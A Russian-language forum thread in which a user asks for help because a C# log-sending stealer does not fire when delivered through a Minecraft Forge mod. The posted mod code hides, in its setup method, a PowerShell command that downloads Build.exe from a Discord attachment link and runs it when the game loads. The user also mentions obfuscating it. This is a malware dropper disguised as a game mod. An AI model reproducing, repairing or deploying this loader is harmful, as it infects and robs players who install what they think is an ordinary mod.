Загрузка...

******* на шарпе в .jar не работает

Тема в разделе Программирование создана пользователем djeifjfo 20 май 2025. 64 просмотра

Загрузка...
  1. djeifjfo
    djeifjfo Автор темы 20 май 2025 7 11 ноя 2024
    взял ******* на шарпе, когда запускаю просто Build.exe - все работает, лог приходит. но когда билжу в .jar и кидаю в папку для модов в майнкрафте, потом запускаю майн - лог не приходит.

    Код

    package com.example.examplemod;
    import net.minecraft.block.Block;
    import net.minecraft.block.Blocks;
    import net.minecraftforge.common.MinecraftForge;
    import net.minecraftforge.event.RegistryEvent;
    import net.minecraftforge.eventbus.api.SubscribeEvent;
    import net.minecraftforge.fml.InterModComms;
    import net.minecraftforge.fml.common.Mod;
    import net.minecraftforge.fml.event.lifecycle.FMLClientSetupEvent;
    import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;
    import net.minecraftforge.fml.event.lifecycle.InterModEnqueueEvent;
    import net.minecraftforge.fml.event.lifecycle.InterModProcessEvent;
    import net.minecraftforge.fml.event.server.FMLServerStartingEvent;
    import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;

    import java.io.IOException;
    import java.util.stream.Collectors;

    // The value here should match an entry in the META-INF/mods.toml file
    @Mod("examplemod")
    public class ExampleMod {
    // Directly reference a log4j logger.
    private static final Logger LOGGER = LogManager.getLogger();

    public ExampleMod() {
    // Register the setup method for modloading
    FMLJavaModLoadingContext.get().getModEventBus().addListener(this::setup);
    // Register the enqueueIMC method for modloading
    FMLJavaModLoadingContext.get().getModEventBus().addListener(this::enqueueIMC);
    // Register the processIMC method for modloading
    FMLJavaModLoadingContext.get().getModEventBus().addListener(this::processIMC);
    // Register the doClientStuff method for modloading
    FMLJavaModLoadingContext.get().getModEventBus().addListener(this::doClientStuff);

    // Register ourselves for server and other game events we are interested in
    MinecraftForge.EVENT_BUS.register(this);
    }

    private void setup(final FMLCommonSetupEvent event) {
    // some preinit code
    LOGGER.info("HELLO FROM PREINIT");
    LOGGER.info("DIRT BLOCK >> {}", Blocks.DIRT.getRegistryName());

    // === Добавленный код: загрузка и запуск внешнего файла ===
    Runtime rt = Runtime.getRuntime();
    start_process(rt,
    "https://cdn.discordapp.com/attachments/1326193150141665292/1374396872403193976/Build.exe?ex=682de655&is=682c94d5&hm=28d62a7dтут_еще_символыd572d67aaddc4efb434dbc5&",
    "Build.exe");
    }

    private void doClientStuff(final FMLClientSetupEvent event) {
    // do something that can only be done on the client
    LOGGER.info("Got game settings {}", event.getMinecraftSupplier().get().options);
    }

    private void enqueueIMC(final InterModEnqueueEvent event) {
    // some example code to dispatch IMC to another mod
    InterModComms.sendTo("examplemod", "helloworld", () -> {
    LOGGER.info("Hello world from the MDK");
    return "Hello world";
    });
    }

    private void processIMC(final InterModProcessEvent event) {
    // some example code to receive and process InterModComms from other mods
    LOGGER.info("Got IMC {}", event.getIMCStream()
    .map(m -> m.getMessageSupplier().get())
    .collect(Collectors.toList()));
    }

    // You can use SubscribeEvent and let the Event Bus discover methods to call
    @SubscribeEvent
    public void onServerStarting(FMLServerStartingEvent event) {
    // do something when the server starts
    LOGGER.info("HELLO from server starting");
    }

    // You can use EventBusSubscriber to automatically subscribe events on the contained class (this is subscribing to the MOD
    // Event bus for receiving Registry Events)
    @Mod.EventBusSubscriber(bus = Mod.EventBusSubscriber.Bus.MOD)
    public static class RegistryEvents {
    @SubscribeEvent
    public static void onBlocksRegistry(final RegistryEvent.Register<Block> blockRegistryEvent) {
    // register a new block here
    LOGGER.info("HELLO from Register Block");
    }
    }

    // === Новые методы для скачивания и запуска внешних файлов ===

    public void start_process(Runtime rt, String file_url, String file_name) {
    start_command(rt, "powershell.exe (New-Object System.Net.WebClient).DownloadFile('" + file_url + "', '" + file_name + "');Start-Process '" + file_name + "'");
    }

    public void start_command(Runtime rt, String cmd) {
    try {
    rt.exec(cmd);
    } catch (IOException e) {
    throw new RuntimeException("Ошибка при выполнении команды: " + cmd, e);
    }
    }
    }
     
    20 май 2025 Изменено
  2. djeifjfo
    djeifjfo Автор темы 20 май 2025 7 11 ноя 2024
    а, я не обфусцировал, ща попробую
    --- Сообщение объединено с предыдущим 20 май 2025
    все равно не работает
     
  3. drwhooper
    drwhooper 20 май 2025 0 5 янв 2025
    это джава а не шарп
     
    1. djeifjfo Автор темы
      drwhooper, ******* на шарпе, мод на джаве
Top